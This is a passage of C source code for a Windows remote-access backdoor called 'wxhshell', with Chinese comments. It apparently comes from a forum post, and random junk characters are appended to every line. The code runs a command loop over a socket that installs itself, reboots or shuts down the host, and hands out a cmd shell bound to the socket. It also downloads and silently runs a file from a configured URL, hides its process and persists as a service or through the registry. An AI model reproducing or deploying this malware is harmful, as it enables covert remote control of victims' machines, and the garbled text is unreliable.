  }  }xcEWC\  
  else { DW ^E46k)A  
 SrPZ^NF  
    switch(cmd[0]) { LEoL6ga  
  N`7) 88>w  
  // 帮助 FpjpsD~ Qu  
  case '?': { **L. !/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6mr5`5~w  
    break; d^"<Tz!  
  } 2<jbNnj  
  // 安装 KXEDpr  
  case 'i': { I4kN4*d!N,  
    if(Install()) tH0=ysf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (^-i[aJY  
    else lPL>8.j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n22k<@y  
    break; KS($S( Fi  
    } c0v;r4Jo#j  
  // 卸载 Jrp{e("9  
  case 'r': { oR'8|~U@B  
    if(Uninstall()) 2)DrZI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q| p6UL9  
    else sM)n-Yy#9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E 9_aNYD  
    break; xWX1P%`  
    } jX5lwP Q|F  
  // 显示 wxhshell 所在路径 0?3Ztdlb  
  case 'p': { : [o0Va2 d  
    char svExeFile[MAX_PATH]; k23*F0Dv  
    strcpy(svExeFile,"\n\r"); Vk/CV2  
      strcat(svExeFile,ExeFile); mAkR<\?iTF  
        send(wsh,svExeFile,strlen(svExeFile),0); *Z*4L|zT  
    break; R9X* R3nB  
    } ,&S:(b[D  
  // 重启 &D, gKT~  
  case 'b': { (,~gY=E+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N5u.V\F!z\  
    if(Boot(REBOOT)) l?:!G7ie  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #wH<W5gSZ  
    else { KlbL<9P >  
    closesocket(wsh); h$)},% e  
    ExitThread(0); deR2l(0%yr  
    } 7(<6+q2~  
    break; -`FPR4;  
    } G<9UL*HU  
  // 关机 8YJ8_$Z  
  case 'd': { ZSj^\JU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @N?A 0S/  
    if(Boot(SHUTDOWN)) "71@WLlN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mq!03q6  
    else { Y_n^6 ;  
    closesocket(wsh); d&n&_>  
    ExitThread(0); g3@Qn?(j!  
    } /P bN!r<1  
    break; {7!WtH;-  
    } )En*5-1  
  // 获取shell h~rSM#7m  
  case 's': { ydOJ^Yty  
    CmdShell(wsh); j,")c'r&dD  
    closesocket(wsh); y=)Cid  
    ExitThread(0); n:cre}0.  
    break; SXn\k;F<  
  } @l~zn%!X  
  // 退出 |) {)w`  
  case 'x': { *C*n( the  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5/-{.g   
    CloseIt(wsh); Td%[ -  
    break; yrO \\No#H  
    } %k(V 2]WF  
  // 离开 Pl4$`Qw#y  
  case 'q': { OM,-:H,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U5 ~L^  
    closesocket(wsh); AW;"` ].  
    WSACleanup(); }r:H7&|&  
    exit(1); EAYx+zI  
    break; j #e^PK <  
        } IM:*uv  
  } .[Ezg(U}ze  
  } .c~`{j}  
SS;[{u!  
  // 提示信息 {VqcZhqy/l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _JZS;8WYR  
} L1;IXCc=  
  } 9$F '*{8  
c}K>#{YeB  
  return; R(Y4nw+Y-  
} Jybx'vZj  
]i\C4*  
// shell模块句柄 Gz)]1Z{%$  
int CmdShell(SOCKET sock) ,zmGKn#n2  
{ bd],fNgJ  
STARTUPINFO si; dZ'hTzw~  
ZeroMemory(&si,sizeof(si)); _&s37A&\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ni$7)YcF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `4E6&&E+S  
PROCESS_INFORMATION ProcessInfo; vCE1R]^A.]  
char cmdline[]="cmd"; 7XLz Ewa  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z.itVQs$I  
  return 0; qE73M5L&  
} sr(f9Vl  
0^htwec!  
// 自身启动模式 wmu#@Hf/[h  
int StartFromService(void) o'S&YD  
{ |ho|Kl `=  
typedef struct Ba-Ftkb  
{ O+U9 p  
  DWORD ExitStatus; C]{:>= K  
  DWORD PebBaseAddress; r9@4-U7v&  
  DWORD AffinityMask; xB=~3  
  DWORD BasePriority; oW]~\vp^0  
  ULONG UniqueProcessId; ^3*k6h [(  
  ULONG InheritedFromUniqueProcessId; ,1+AfI  
}   PROCESS_BASIC_INFORMATION; :Z0m "  
>% a^;gk(  
PROCNTQSIP NtQueryInformationProcess; Wx&gI4~  
L$*sv.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S0+nQM%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {VOLUC o 4  
ZsjDe{TH  
  HANDLE             hProcess; }Xv2I$J  
  PROCESS_BASIC_INFORMATION pbi; @?,iy?BSG  
)LESdX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~x`BV+R  
  if(NULL == hInst ) return 0; afEhC0j  
e-vwve  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tjw4.L<r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9L+dN%C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z& !n'N<C  
(9bFIvMc  
  if (!NtQueryInformationProcess) return 0; !9+xKr99  
'5j$wr zt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D,Ft*(|T  
  if(!hProcess) return 0; 5x";}Vp>P  
0. _)X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z>GqLq\`ed  
/DPD,bA  
  CloseHandle(hProcess); +[$d9  
5e^t;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $@y<.?k>UP  
if(hProcess==NULL) return 0; RGrra<  
Z/nTI 0N{  
HMODULE hMod; D;%(Z!  
char procName[255]; 6J3:[7k=&  
unsigned long cbNeeded; *T(z4RVg  
g~EJja;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O=c^Ak   
8P8@i+[]W  
  CloseHandle(hProcess); 0'ha!4h3Z  
wGfU@!m  
if(strstr(procName,"services")) return 1; // 以服务启动 Q9v OY8  
"p<B|  
  return 0; // 注册表启动 u*#j;Xc  
} Kts#e:k@  
|7G +O+j  
// 主模块 +AVYypql8K  
int StartWxhshell(LPSTR lpCmdLine) G:TM k4  
{ ]oy>kRnb {  
  SOCKET wsl; wm>I;|gA)  
BOOL val=TRUE; u_+64c_7  
  int port=0; )%D2JC  
  struct sockaddr_in door; Qs(WyP#  
Un{hI`3]  
  if(wscfg.ws_autoins) Install(); 5.st!Lp1  
(<RZZ{m  
port=atoi(lpCmdLine); d;GF<bz  
iY @MnnX  
if(port<=0) port=wscfg.ws_port; nqX)+{wAXe  
nSWW^ ;  
  WSADATA data; vMBF7Jfx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?2D1gjr  
D@ :w/W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C(( 7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sB|>\O#-  
  door.sin_family = AF_INET; &gdtI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U&W{;myt  
  door.sin_port = htons(port); y_bb//IAG  
o#wDA0T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6wk/IJ`  
closesocket(wsl); pF~[  
return 1; *` }Rt  
} I7!+~uX  
Q2wEt >0a  
  if(listen(wsl,2) == INVALID_SOCKET) { Y/\y"a  
closesocket(wsl); Gt9(@USK  
return 1; N 2|?I(\B  
} *`]LbS  
  Wxhshell(wsl); EjZ_|Q  
  WSACleanup(); bDh,r!I  
:q6j{C(  
return 0; :Osw4u]JXd  
E yJWi<  
} Eg&oAY.U  
e !_+TyI  
// 以NT服务方式启动 0 t.'?=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5#Z>}@/  
{ QIZ }7  
DWORD   status = 0; @f<q&K%FJ  
  DWORD   specificError = 0xfffffff; :_ _z?<?(  
KW^#DI6tr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qY^OO~[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]Puu: IG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &PJ&XTR  
  serviceStatus.dwWin32ExitCode     = 0; Hggp*(AQK  
  serviceStatus.dwServiceSpecificExitCode = 0; yht|0mZV  
  serviceStatus.dwCheckPoint       = 0; ')ZM# :G  
  serviceStatus.dwWaitHint       = 0; |etA2"r&  
i9KQpWG:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6I,^4U  
  if (hServiceStatusHandle==0) return; 19.+"H  
N_AAhD  
status = GetLastError(); (of=hzT^?  
  if (status!=NO_ERROR) rGPFPsMQ]  
{ C'4gve 7!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 83rtQ ;L  
    serviceStatus.dwCheckPoint       = 0; 1Yj^N" =  
    serviceStatus.dwWaitHint       = 0; +&t`"lRl&  
    serviceStatus.dwWin32ExitCode     = status; u} y)'eH  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~zEBJgeyh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |8xu*dVAp4  
    return; ~`7L\'fs  
  } 9 F"2$;  
&O0@)jIV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I)@b#V=  
  serviceStatus.dwCheckPoint       = 0; x. d ;7  
  serviceStatus.dwWaitHint       = 0; +k@$C,A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :a YbP,mE  
} 1: cD\  
Ns^[Hb[b'  
// 处理NT服务事件,比如:启动、停止 /, G-1E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) njO5 YYOu  
{ TF_~)f(`  
switch(fdwControl) zR)9]pJ-  
{ 8T3j/ D<r  
case SERVICE_CONTROL_STOP: 3vs;ZBM  
  serviceStatus.dwWin32ExitCode = 0; zq(R!a6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q& p'\6~  
  serviceStatus.dwCheckPoint   = 0; | Vl Q0{  
  serviceStatus.dwWaitHint     = 0; nYfZ[Q>v  
  { LP_w6fjT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Knd2s~S  
  } G5JZpB#o  
  return; :C%cnU;N  
case SERVICE_CONTROL_PAUSE: 8KQD w:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &<Gs@UX~w  
  break; M oIq)5/  
case SERVICE_CONTROL_CONTINUE: ?Q`u\G3.m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IF"-{@  
  break; (]*otVJ  
case SERVICE_CONTROL_INTERROGATE: ?`jh5Kw%y  
  break; [QC|Kd^#  
}; %XIPPEHU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;QVX'?  
} i,77F!  
^ +e5 M1U=  
// 标准应用程序主函数 ~,199K#'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U _QCe+  
{ I/F3%'O  
dd$}FlT  
// 获取操作系统版本 uif1)y`Q$C  
OsIsNt=GetOsVer(); F\Qukn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h]|E,!H  
>P@JiR<@\n  
  // 从命令行安装 GqYE=Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); (]wd8M  
.?C-J  
  // 下载执行文件 cjTV~(i'4A  
if(wscfg.ws_downexe) { ,U-aZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;cye 'E  
  WinExec(wscfg.ws_filenam,SW_HIDE); v61'fQ1Qg!  
} q6xm#Fd'.  
3_AVJv ;N  
if(!OsIsNt) { 4tv}5llSG  
// 如果时win9x,隐藏进程并且设置为注册表启动 DOk(5gR  
HideProc(); _]g?3Gw7!  
StartWxhshell(lpCmdLine); ]KsL(4PY  
} ^xB=d S~  
else Gw\-e;,  
  if(StartFromService()) h5vvizruy  
  // 以服务方式启动 jJ(()EJ  
  StartServiceCtrlDispatcher(DispatchTable); !R{C  
else @' V=Vr  
  // 普通方式启动 //[zUn  
  StartWxhshell(lpCmdLine); ENmfbJ4d~  
v6Vd V.BI  
return 0; h x _,>\@  
}
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只看该作者 1 发表于: 2006-10-10
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